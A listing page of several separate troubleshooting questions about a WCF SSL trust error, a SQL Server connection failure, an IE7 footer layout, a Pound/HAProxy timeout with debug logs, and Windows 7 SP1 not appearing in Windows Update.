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  • WCF. BasicHttpBinding Certificates.

    - by Andrew Kalashnikov
    Hello colleagues. I've got some problems. I've created WCF service with basicHttpBinding and hosted by IIS 6.0. <system.serviceModel> <bindings> <basicHttpBinding> <binding name="BindingConfiguration1" maxBufferPoolSize="2147483647" maxReceivedMessageSize="2147483647"> <readerQuotas maxDepth="2147483647" maxStringContentLength="2147483647" maxArrayLength="2147483647" maxBytesPerRead="2147483647" maxNameTableCharCount="2147483647"/> <security mode="Transport"> <transport clientCredentialType="None" /> </security> </binding> </basicHttpBinding> </bindings> <services> <service name="RegistratorService.Registrator" behaviorConfiguration="RegistratorService.Service1Behavior"> <endpoint address="" binding="basicHttpBinding" contract="RegistratorService.IRegistrator" bindingConfiguration="BindingConfiguration1"> <identity> <dns value="localhost" /> </identity> </endpoint> <endpoint address="mex" binding="mexHttpsBinding" contract="IMetadataExchange"/> </service> </services> <behaviors> <serviceBehaviors> <behavior name="RegistratorService.Service1Behavior"> <serviceCredentials> <clientCertificate> <authentication certificateValidationMode="PeerOrChainTrust" revocationMode="NoCheck"/> </clientCertificate> <serviceCertificate storeLocation="LocalMachine" storeName="My" findValue="CN=Server" /> </serviceCredentials> <serviceMetadata httpsGetEnabled="true" /> <serviceDebug includeExceptionDetailInFaults="true" /> </behavior> </serviceBehaviors> </behaviors> Also I have cert authority on this server and I issue certs for server and client. I server cert at server and client cert at client. When I try consume service from client I get famous: "Could not establish trust relationship for the SSL/TLS secure channel with authority" All sites recommend override ServicePointManager.ServerCertificateValidationCallback by set return value to true. Bu I want decide this issue other right way. My client config: <system.serviceModel> <behaviors> <endpointBehaviors> <behavior name="ClientBehavior"> <clientCredentials> <serviceCertificate> <authentication certificateValidationMode="ChainTrust" revocationMode="NoCheck"/> </serviceCertificate> <clientCertificate findValue="CN=PharmPortal" storeLocation="LocalMachine" storeName="My"/> </clientCredentials> </behavior> </endpointBehaviors> </behaviors> <bindings> <basicHttpBinding> <binding name="BasicHttpBinding_IRegistrator" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="65536" maxBufferPoolSize="524288" maxReceivedMessageSize="65536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true"> <readerQuotas maxDepth="32" maxStringContentLength="8192" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384" /> <security mode="Transport"> <transport clientCredentialType="None" proxyCredentialType="None" realm="" /> </security> </binding> </basicHttpBinding> </bindings> <client > <endpoint address="https://aurit-server2/Registrator.svc" binding="basicHttpBinding" behaviorConfiguration="ClientBehavior" bindingConfiguration="BasicHttpBinding_IRegistrator" contract="ServiceReference1.IRegistrator" name="BasicHttpBinding_IRegistrator" > <identity> <dns value="Server" /> </identity> </endpoint> </client> </system.serviceModel> I set up client certificate. Why i get error?

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  • Help needed on an SQL configuration problem.

    - by user321048
    I have been banging my head with this one more the two weeks, and still don't know what the problem is ( I can't narrow it down). The problem is the following. I have a solution with 3 project in it all written in c# and I with LINQ. One project is the main web site, the other is the data layer (communication with the database) and the third one is a custom little CMS. The problem is the following: On a hosting provider when I publish the site it all works perfectly, but this site was needed to be hosted on the client server so I needed to do that. But the problem is that I also needed to configure the client server, because they don't have an Administrator employed (I know, I know ;) ). For the first time I some how managed, to set it up but a problem appear. My main web site is working just as it suppose to be - it reads (communicates with) the database, but My CMS is not. It shows the first log in page, but after that when I try to log in it throws the following error: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: TCP Provider, error: 0 - A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.) Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: TCP Provider, error: 0 - A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.) Source Error: An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. Stack Trace: [SqlException (0x80131904): A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: TCP Provider, error: 0 - A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)] System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846887 System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194 System.Data.SqlClient.TdsParser.Connect(ServerInfo serverInfo, SqlInternalConnectionTds connHandler, Boolean ignoreSniOpenTimeout, Int64 timerExpire, Boolean encrypt, Boolean trustServerCert, Boolean integratedSecurity, SqlConnection owningObject) +4860189 System.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, Boolean ignoreSniOpenTimeout, Int64 timerExpire, SqlConnection owningObject) +90 System.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(String host, String newPassword, Boolean redirectedUserInstance, SqlConnection owningObject, SqlConnectionString connectionOptions, Int64 timerStart) +342 System.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(SqlConnection owningObject, SqlConnectionString connectionOptions, String newPassword, Boolean redirectedUserInstance) +221 System.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, Object providerInfo, String newPassword, SqlConnection owningObject, Boolean redirectedUserInstance) +189 System.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection) +185 System.Data.ProviderBase.DbConnectionFactory.CreatePooledConnection(DbConnection owningConnection, DbConnectionPool pool, DbConnectionOptions options) +31 System.Data.ProviderBase.DbConnectionPool.CreateObject(DbConnection owningObject) +433 System.Data.ProviderBase.DbConnectionPool.UserCreateRequest(DbConnection owningObject) +66 System.Data.ProviderBase.DbConnectionPool.GetConnection(DbConnection owningObject) +499 System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) +65 System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +117 System.Data.SqlClient.SqlConnection.Open() +122 System.Data.Linq.SqlClient.SqlConnectionManager.UseConnection(IConnectionUser user) +44 System.Data.Linq.SqlClient.SqlProvider.get_IsSqlCe() +45 System.Data.Linq.SqlClient.SqlProvider.InitializeProviderMode() +20 System.Data.Linq.SqlClient.SqlProvider.System.Data.Linq.Provider.IProvider.Execute(Expression query) +57 System.Data.Linq.DataQuery`1.System.Linq.IQueryProvider.Execute(Expression expression) +23 System.Linq.Queryable.Count(IQueryable`1 source) +240 CMS.Security.UserProfile.LoginUser() in C:\Documents and Settings\Dimitar\Desktop\New Mepso Final 08_04\CMS\Classes\UserProfile.cs:132 CMS.Default.Login1_Authenticate(Object sender, AuthenticateEventArgs e) in C:\Documents and Settings\Dimitar\Desktop\New Mepso Final 08_04\CMS\Default.aspx.cs:37 System.Web.UI.WebControls.Login.OnAuthenticate(AuthenticateEventArgs e) +108 System.Web.UI.WebControls.Login.AttemptLogin() +115 System.Web.UI.WebControls.Login.OnBubbleEvent(Object source, EventArgs e) +101 System.Web.UI.Control.RaiseBubbleEvent(Object source, EventArgs args) +37 System.Web.UI.WebControls.Button.OnCommand(CommandEventArgs e) +118 System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +166 System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String eventArgument) +10 System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) +13 System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) +36 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1565 Maybe this is a dumb question, but I cannot find the root of the problem, let alone the solution. So far I have tried the following: -setting time out on connection string to a higher value -configuration and after that turning off server firewall -checking the connection string over and over again (they are the same for all three projects and are saved in web.config) Important notes: I have tried executing the project from VS2008 with a connection string to the same database and the results are the same. That's why I think the problem is the SQL Server 2005 and not the IIS7. Any bit of information is more then welcomed.

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  • Center footer fixed at the bottom IE

    - by Mirko
    I am coding a web interface for a University project and I have been dealing with this issue: I want my footer fixed at the bottom so it is in place no matter which screen I am using or if I toggle the full screen mode It works in all the other browsers except IE7 (I do not have to support previous versions) HTML <div id="menu"> <a href="information.html" rel="shadowbox;height=500;width=650" title="INFORMATION" > <img src="images/info.png" alt="information icon" /> </a> <a href="images/bricks_of_destiny.jpg" rel="shadowbox[gallery]" title="IMAGES" > <img src="images/image.png" alt="image icon" /> </a> <a href="music_player.swf" title="MUSIC" rel="shadowbox;height=400;width=600" > <img src="images/music.png" alt="music icon" /> </a> <a href="#" title="MOVIES"><img src="images/television.png" alt="movies icon" /></a> <a href="quotes.html" title="QUOTES" rel="shadowbox;height=300;width=650" > <img src="images/male_user.png" alt="male user icon" /> </a> <a href="#" title="REFERENCES"> <img src="images/search_globe.png" alt="search globe icon" /> </a> </div> <a href="images/destiny_1.jpg" rel="shadowbox[gallery]" title="IMAGES"></a> <a href="images/destiny_carma_jewell.jpg" rel="shadowbox[gallery]" title="IMAGES"></a> <a href="images/destiny-joan-marie.jpg" rel="shadowbox[gallery]" title="IMAGES"></a> <a href="images/pursuing_destiny.jpg" rel="shadowbox[gallery]" title="IMAGES"></a> <div class="clear"></div> <div id="destiny"> Discover more about the word <span class="strong">DESTINY </span>! Click one of the icon above! (F11 Toggle Full / Standard screen) </div> <div id="footer"> <ul id="breadcrumbs"> <li>Disclaimer</li> <li> | Icons by: <a href="http://dryicons.com/" rel="shadowbox">dryicons.com</a></li> <li> | Website by: <a href="http://www.eezzyweb.com/" rel="shadowbox">eezzyweb</a></li> <li> | <a href="http://jquery.com/" rel="shadowbox">jQuery</a></li> </ul> </div> </div> CSS: #wrapper{ text-align:center; margin:0 auto; width:750px; height:430px; border:1px solid #fff; } #menu{ position:relative; margin:0 auto; top:350px; width:450px; height:60px; } #destiny{ position:relative; top:380px; color:#FFF; font-size:1.5em; font-weight:bold; border:1px solid #fff; } #breadcrumbs{ list-style:none; } #breadcrumbs li{ display:inline; color:#FFF; } #footer{ position:absolute; width:750px; height:60px; margin:0 auto; text-align:center; border:1px solid #fff; bottom:0; } .clear{ clear:both; } The white borders are there only for debugging purposes The application is hosted at http://www.eezzyweb.com/destiny/ Any suggestion is appreciated

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  • How to find and fix issue with Pound and HAProxy

    - by javano
    Pound sits in front of HAProxy (on the same box) to perform SSL off-load. Requests are passed to 127.0.0.1:80 where HAProxy then balances the requests across backend servers for a hosted ASP .NET web app. A user is getting HTTP error 500 (Internal Server Error) returned to their browser this morning and I can see it is comming from Pound. They see no log entry in their web app (IIS) server logs, so its not hitting the back end servers. I think the problem is possibly with HAProxy. Lets review the logs: Initialy the users (1.2.3.4) hits Pound on the load balancer: Nov 12 10:02:24 lb1 pound: a-website.com 1.2.3.4 - - [12/Nov/2012:10:02:23 +0000] "POST /eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d HTTP/1.1" 200 155721 "https://a-website.com/eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4" Nov 12 10:02:24 lb1 pound: a-website.com 1.2.3.4 - - [12/Nov/2012:10:02:24 +0000] "GET /Controls/ReferringOrganisationLogoImageHandler.ashx HTTP/1.1" 200 142 "https://a-website.com/eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4" Nov 12 10:02:24 lb1 pound: a-website.com 1.2.3.4 - - [12/Nov/2012:10:02:24 +0000] "GET /eventmanagement/WebCoreModule.ashx?__ac=1&__ac_wcmid=RAWCIL&__ac_lib=Radactive.WebControls.ILoad&__ac_key=RAWVCO_11&__ac_sid=fnoz2hmvirfivb2btbubbw45&__ac_cn=&__ac_cp=BVDXDWFLDWFMHDFJBOEGBDFLFOD5EEFD&__ac_fr=634883113445054092&__ac_ssid= HTTP/1.1" 200 11206 "https://a-website.com/eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4" Nov 12 10:02:24 lb1 pound: a-website.com 1.2.3.4 - - [12/Nov/2012:10:02:24 +0000] "GET /eventmanagement/WebCoreModule.ashx?__ac=1&__ac_wcmid=RAWCIL&__ac_lib=Radactive.WebControls.ILoad&__ac_key=RAWCCIL_11&__ac_sid=fnoz2hmvirfivb2btbubbw45&__ac_cn=&__ac_cp=BVDXDWFLDWFMHDFJBOEGBDFLFOD5EEFD&__ac_fr=634883113445054092 HTTP/1.1" 200 43496 "https://a-website.com/eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4" Nov 12 10:02:42 lb1 pound: (7f819fff8700) e500 for 1.2.3.4 response error read from 127.0.0.1:80/POST /eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d HTTP/1.1: Connection timed out (15.121 secs) Above we can see the request comming in from the user at IP address 1.2.3.4, eventually Pound returns error 500 with the message "Connection timed out (15.121 secs)". Running HAProxy in debug mode, we can see the request come in; user@box:/var/log$ sudo /etc/init.d/haproxy restart Restarting haproxy: haproxy[WARNING] 316/100042 (19218) : <debug> mode incompatible with <quiet> and <daemon>. Keeping <debug> only. Available polling systems : sepoll : pref=400, test result OK epoll : pref=300, test result OK poll : pref=200, test result OK select : pref=150, test result OK Total: 4 (4 usable), will use sepoll. Using sepoll() as the polling mechanism. ....... 00000008:iis-servers.srvrep[0008:0009]: HTTP/1.1 200 OK 00000008:iis-servers.srvhdr[0008:0009]: Cache-Control: private 00000008:iis-servers.srvhdr[0008:0009]: Pragma: no-cache 00000008:iis-servers.srvhdr[0008:0009]: Content-Length: 22211 00000008:iis-servers.srvhdr[0008:0009]: Content-Type: text/plain; charset=utf-8 00000008:iis-servers.srvhdr[0008:0009]: Server: Microsoft-IIS/7.0 00000008:iis-servers.srvhdr[0008:0009]: X-AspNet-Version: 2.0.50727 00000008:iis-servers.srvhdr[0008:0009]: X-Powered-By: ASP.NET 00000008:iis-servers.srvhdr[0008:0009]: Date: Mon, 12 Nov 2012 10:01:25 GMT 00000009:iis-servers.accept(0004)=000a from [127.0.0.1:53556] 00000009:iis-servers.clireq[000a:ffff]: GET /Logoff.aspx HTTP/1.1 00000009:iis-servers.clihdr[000a:ffff]: Host: a-website.com 00000009:iis-servers.clihdr[000a:ffff]: Connection: keep-alive 00000009:iis-servers.clihdr[000a:ffff]: User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4 00000009:iis-servers.clihdr[000a:ffff]: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 00000009:iis-servers.clihdr[000a:ffff]: Referer: https://a-website.com/eventmanagement/eventmanagement.aspx 00000009:iis-servers.clihdr[000a:ffff]: Accept-Encoding: gzip,deflate,sdch 00000009:iis-servers.clihdr[000a:ffff]: Accept-Language: en-GB,en;q=0.8,it;q=0.6 00000009:iis-servers.clihdr[000a:ffff]: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 00000009:iis-servers.clihdr[000a:ffff]: Cookie: ASP.NET_SessionId=fnoz2hmvirfivb2btbubbw45; apps=apps2; AuthHint=true; __utma=190546871.552451749.1340295610.1352454675.1352711624.159; __utmb=190546871.2.10.1352711624; __utmc=190546871; __utmz=190546871.1349966519.143.3.utmcsr=en.wikipedia.org|utmccn=(referral)|utmcmd=referral|utmcct=/wiki/Single_transferable_vote; Sequence=162; SessionId=80e603f9-7e73-474b-8b7c-e198b2f11218; SecureSessionId=00000000-0000-0000-0000-000000000000; __utma=58336506.1016936529.1332752550.1352454680.1352711626.456; __utmb=58336506.28.10.1352711626; __utmc=58336506; __utmz=58336506.1352711626.456.155.utmcsr=a-website.com|utmccn=(referral)|utmcmd=referral|utmcct=/ 00000009:iis-servers.clihdr[000a:ffff]: X-SSL-cipher: RC4-SHA SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=SHA1 00000009:iis-servers.clihdr[000a:ffff]: X-Forwarded-For: 1.2.3.4 00000008:iis-servers.srvcls[0008:0009] 00000008:iis-servers.clicls[0008:0009] 00000008:iis-servers.closed[0008:0009] ....... 0000000e:iis-servers.srvrep[0008:0009]: HTTP/1.1 200 OK 0000000e:iis-servers.srvhdr[0008:0009]: Cache-Control: no-cache 0000000e:iis-servers.srvhdr[0008:0009]: Pragma: no-cache 0000000e:iis-servers.srvhdr[0008:0009]: Content-Length: 12805 0000000e:iis-servers.srvhdr[0008:0009]: Content-Type: text/html; charset=utf-8 0000000e:iis-servers.srvhdr[0008:0009]: Server: Microsoft-IIS/7.0 0000000e:iis-servers.srvhdr[0008:0009]: X-AspNet-Version: 2.0.50727 0000000e:iis-servers.srvhdr[0008:0009]: X-Powered-By: ASP.NET 0000000e:iis-servers.srvhdr[0008:0009]: Date: Mon, 12 Nov 2012 10:02:22 GMT 0000000f:iis-servers.accept(0004)=000c from [127.0.0.1:53609] 0000000f:iis-servers.clireq[000c:ffff]: GET /Controls/ReferringOrganisationLogoImageHandler.ashx HTTP/1.1 0000000f:iis-servers.clihdr[000c:ffff]: Host: a-website.com 0000000f:iis-servers.clihdr[000c:ffff]: Connection: keep-alive 0000000f:iis-servers.clihdr[000c:ffff]: User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.96 Safari/537.4 0000000f:iis-servers.clihdr[000c:ffff]: Accept: */* 0000000f:iis-servers.clihdr[000c:ffff]: Referer: https://a-website.com/eventmanagement/EditEvent.aspx?eventOid=623fc423-2329-4cab-8be5-72a97709570d 0000000f:iis-servers.clihdr[000c:ffff]: Accept-Encoding: gzip,deflate,sdch 0000000f:iis-servers.clihdr[000c:ffff]: Accept-Language: en-GB,en;q=0.8,it;q=0.6 0000000f:iis-servers.clihdr[000c:ffff]: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 0000000f:iis-servers.clihdr[000c:ffff]: Cookie: ASP.NET_SessionId=fnoz2hmvirfivb2btbubbw45; apps=apps2; __utma=190546871.552451749.1340295610.1352454675.1352711624.159; __utmb=190546871.2.10.1352711624; __utmc=190546871; __utmz=190546871.1349966519.143.3.utmcsr=en.wikipedia.org|utmccn=(referral)|utmcmd=referral|utmcct=/wiki/Single_transferable_vote; AuthHint=true; __utma=58336506.1016936529.1332752550.1352454680.1352711626.456; __utmb=58336506.33.10.1352711626; __utmc=58336506; __utmz=58336506.1352711626.456.155.utmcsr=a-website.com|utmccn=(referral)|utmcmd=referral|utmcct=/; SessionId=69cd415c-2f4e-4ace-b8f7-926d054f87c2; SecureSessionId=00000000-0000-0000-0000-000000000000; Sequence=170 0000000f:iis-servers.clihdr[000c:ffff]: X-SSL-cipher: RC4-SHA SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=SHA1 0000000f:iis-servers.clihdr[000c:ffff]: X-Forwarded-For: 1.2.3.4 0000000f:iis-servers.srvrep[000c:000d]: HTTP/1.1 200 OK 0000000f:iis-servers.srvhdr[000c:000d]: Cache-Control: private 0000000f:iis-servers.srvhdr[000c:000d]: Content-Length: 142 0000000f:iis-servers.srvhdr[000c:000d]: Content-Type: image/png 0000000f:iis-servers.srvhdr[000c:000d]: Server: Microsoft-IIS/7.0 0000000f:iis-servers.srvhdr[000c:000d]: X-AspNet-Version: 2.0.50727 0000000f:iis-servers.srvhdr[000c:000d]: Set-Cookie: SessionId=69cd415c-2f4e-4ace-b8f7-926d054f87c2; path=/ 0000000f:iis-servers.srvhdr[000c:000d]: Set-Cookie: SecureSessionId=00000000-0000-0000-0000-000000000000; path=/; secure 0000000f:iis-servers.srvhdr[000c:000d]: X-Powered-By: ASP.NET 0000000f:iis-servers.srvhdr[000c:000d]: Date: Mon, 12 Nov 2012 10:02:25 GMT 0000000e:iis-servers.srvcls[0008:0009] 0000000e:iis-servers.clicls[0008:0009] 0000000e:iis-servers.closed[0008:0009] 0000000f:iis-servers.srvcls[000c:000d] 0000000f:iis-servers.clicls[000c:000d] 0000000f:iis-servers.closed[000c:000d] 00000009:iis-servers.srvcls[000a:000b] 00000009:iis-servers.clicls[000a:000b] 00000009:iis-servers.closed[000a:000b] Where in the chain is the issue here?

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  • Windows 7 SP1 not being offered on Windows Update

    - by Ian Boyd
    i have no option to install Windows 7 Service Pack 1 (SP1) on my computer. Why is the option to install Windows 7 SP1 missing from Windows Update? i'm less interested in why the option is missing, and more interested in how to diagnose why the option to install Windows 7 SP1 is being hidden. Following the suggestions in KB2498452 - You do not have the option of downloading Windows 7 SP1 when you use Windows Update to check for updates: Confirm that Windows 7 SP1 is not already installed and that you are not running a prerelease version of Windows 7 SP1 i am not already running SP1, or a pre-release SP1: Check for pending updates Update 976902 may have to be installed on your computer before Windows 7 SP1 will be offered in Windows Update. i already have 976902 installed: Verify that an incompatible version of SafeCentral is not installed on your computer Windows SP1 may not appear in Windows Update if certain versions of SafeCentral are installed on your computer. SafeCentral is a security program that is manufactured by SafeCentral, Inc. i do not have SafeCentral installed (i've never heard of such a thing): Check whether you have Intel integrated graphics driver Igdkmd32.sys or Igdkmd64.sys and whether you upgraded the driver i do not have an Intel GMA: Make sure that you did not use vLite to customize your Windows 7 installation i did not use vLite to customize my Windows 7 installation. Again, i've never heard of such a thing. Update One: Here's proof that i've checked for updates "today" (3/2/2011): And that i'm not being presented the option of installing SP1 (i dispatched an update to Silverlight and a fix for IE9 being hosted in a Direct2D or Direct3D application; so updates themselves do work): Update Two Tried the Windows Update Troubleshooter: Window 7 Service Pack 1 is still not available. Update Three Here is the tail end of windowsupdate.log. It speaks of Evaluating application rules: Found 2 updates and 65 categories in search; evaluated appl. rules of 1324 out of 1832 deployed entities These must be the rules that say i'm not allowed to see SP1: 2011-03-03 09:21:08:091 924 db4 AU Triggering AU detection through DetectNow API 2011-03-03 09:21:08:091 924 db4 AU Triggering Online detection (interactive) 2011-03-03 09:21:08:091 924 950 AU ############# 2011-03-03 09:21:08:092 924 950 AU ## START ## AU: Search for updates 2011-03-03 09:21:08:092 924 950 AU ######### 2011-03-03 09:21:08:093 924 950 AU <<## SUBMITTED ## AU: Search for updates [CallId = {8517376A-B8A3-488B-B4D4-67DFC75788C8}] 2011-03-03 09:21:08:093 924 ca8 Agent ************* 2011-03-03 09:21:08:093 924 ca8 Agent ** START ** Agent: Finding updates [CallerId = AutomaticUpdates] 2011-03-03 09:21:08:093 924 ca8 Agent ********* 2011-03-03 09:21:08:093 924 ca8 Agent * Online = Yes; Ignore download priority = No 2011-03-03 09:21:08:093 924 ca8 Agent * Criteria = "IsInstalled=0 and DeploymentAction='Installation' or IsPresent=1 and DeploymentAction='Uninstallation' or IsInstalled=1 and DeploymentAction='Installation' and RebootRequired=1 or IsInstalled=0 and DeploymentAction='Uninstallation' and RebootRequired=1" 2011-03-03 09:21:08:093 924 ca8 Agent * ServiceID = {7971F918-A847-4430-9279-4A52D1EFE18D} Third party service 2011-03-03 09:21:08:093 924 ca8 Agent * Search Scope = {Machine} 2011-03-03 09:21:08:094 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\9482F4B4-E343-43B6-B170-9A65BC822C77\muv4wuredir.cab: 2011-03-03 09:21:08:097 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:287 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\9482F4B4-E343-43B6-B170-9A65BC822C77\muv4wuredir.cab: 2011-03-03 09:21:08:289 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:292 924 ca8 Agent Checking for updated auth cab for service 7971f918-a847-4430-9279-4a52d1efe18d at http://download.windowsupdate.com/v9/microsoftupdate/redir/muauth.cab 2011-03-03 09:21:08:292 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\AuthCabs\authcab.cab: 2011-03-03 09:21:08:294 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:354 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\AuthCabs\authcab.cab: 2011-03-03 09:21:08:356 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:356 924 ca8 Setup Checking for agent SelfUpdate 2011-03-03 09:21:08:356 924 ca8 Setup Client version: Core: 7.3.7600.16385 Aux: 7.3.7600.16385 2011-03-03 09:21:08:357 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\9482F4B4-E343-43B6-B170-9A65BC822C77\muv4wuredir.cab: 2011-03-03 09:21:08:359 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:418 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\9482F4B4-E343-43B6-B170-9A65BC822C77\muv4wuredir.cab: 2011-03-03 09:21:08:420 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:422 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\SelfUpdate\wuident.cab: 2011-03-03 09:21:08:424 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:655 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\SelfUpdate\wuident.cab: 2011-03-03 09:21:08:658 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:659 924 ca8 Setup Skipping SelfUpdate check based on the /SKIP directive in wuident 2011-03-03 09:21:08:659 924 ca8 Setup SelfUpdate check completed. SelfUpdate is NOT required. 2011-03-03 09:21:08:808 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\7971F918-A847-4430-9279-4A52D1EFE18D\muv4muredir.cab: 2011-03-03 09:21:08:810 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:872 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\7971F918-A847-4430-9279-4A52D1EFE18D\muv4muredir.cab: 2011-03-03 09:21:08:874 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:08:876 924 ca8 PT +++++++++++ PT: Synchronizing server updates +++++++++++ 2011-03-03 09:21:08:877 924 ca8 PT + ServiceId = {7971F918-A847-4430-9279-4A52D1EFE18D}, Server URL = https://www.update.microsoft.com/v6/ClientWebService/client.asmx 2011-03-03 09:21:13:958 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\7971F918-A847-4430-9279-4A52D1EFE18D\muv4muredir.cab: 2011-03-03 09:21:13:960 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:14:083 924 ca8 Misc Validating signature for C:\Windows\SoftwareDistribution\WuRedir\7971F918-A847-4430-9279-4A52D1EFE18D\muv4muredir.cab: 2011-03-03 09:21:14:085 924 ca8 Misc Microsoft signed: Yes 2011-03-03 09:21:14:087 924 ca8 PT +++++++++++ PT: Synchronizing extended update info +++++++++++ 2011-03-03 09:21:14:087 924 ca8 PT + ServiceId = {7971F918-A847-4430-9279-4A52D1EFE18D}, Server URL = https://www.update.microsoft.com/v6/ClientWebService/client.asmx 2011-03-03 09:21:14:395 924 ca8 Agent * Added update {414642E2-5F20-4AD1-AA5A-773061238B5F}.101 to search result 2011-03-03 09:21:14:395 924 ca8 Agent * Added update {56D5FC3D-9AC8-44F1-A248-8C397A24D02F}.100 to search result 2011-03-03 09:21:14:395 924 ca8 Agent * Found 2 updates and 65 categories in search; evaluated appl. rules of 1324 out of 1832 deployed entities 2011-03-03 09:21:14:396 924 ca8 Agent ********* 2011-03-03 09:21:14:396 924 ca8 Agent ** END ** Agent: Finding updates [CallerId = AutomaticUpdates] 2011-03-03 09:21:14:396 924 ca8 Agent ************* 2011-03-03 09:21:14:404 924 ce0 AU >>## RESUMED ## AU: Search for updates [CallId = {8517376A-B8A3-488B-B4D4-67DFC75788C8}] 2011-03-03 09:21:14:404 924 ce0 AU # 2 updates detected 2011-03-03 09:21:14:404 924 ce0 AU ######### 2011-03-03 09:21:14:404 924 ce0 AU ## END ## AU: Search for updates [CallId = {8517376A-B8A3-488B-B4D4-67DFC75788C8}] 2011-03-03 09:21:14:404 924 ce0 AU ############# 2011-03-03 09:21:14:404 924 ce0 AU Successfully wrote event for AU health state:0 2011-03-03 09:21:14:405 924 ce0 AU ############# 2011-03-03 09:21:14:405 924 ce0 AU ## START ## AU: Refresh featured updates info 2011-03-03 09:21:14:405 924 ce0 AU ######### 2011-03-03 09:21:14:405 924 ce0 AU No featured updates available. 2011-03-03 09:21:14:405 924 ce0 AU ######### 2011-03-03 09:21:14:405 924 ce0 AU ## END ## AU: Refresh featured updates info 2011-03-03 09:21:14:405 924 ce0 AU ############# 2011-03-03 09:21:14:405 924 ce0 AU No featured updates notifications to show 2011-03-03 09:21:14:405 924 ce0 AU AU setting next detection 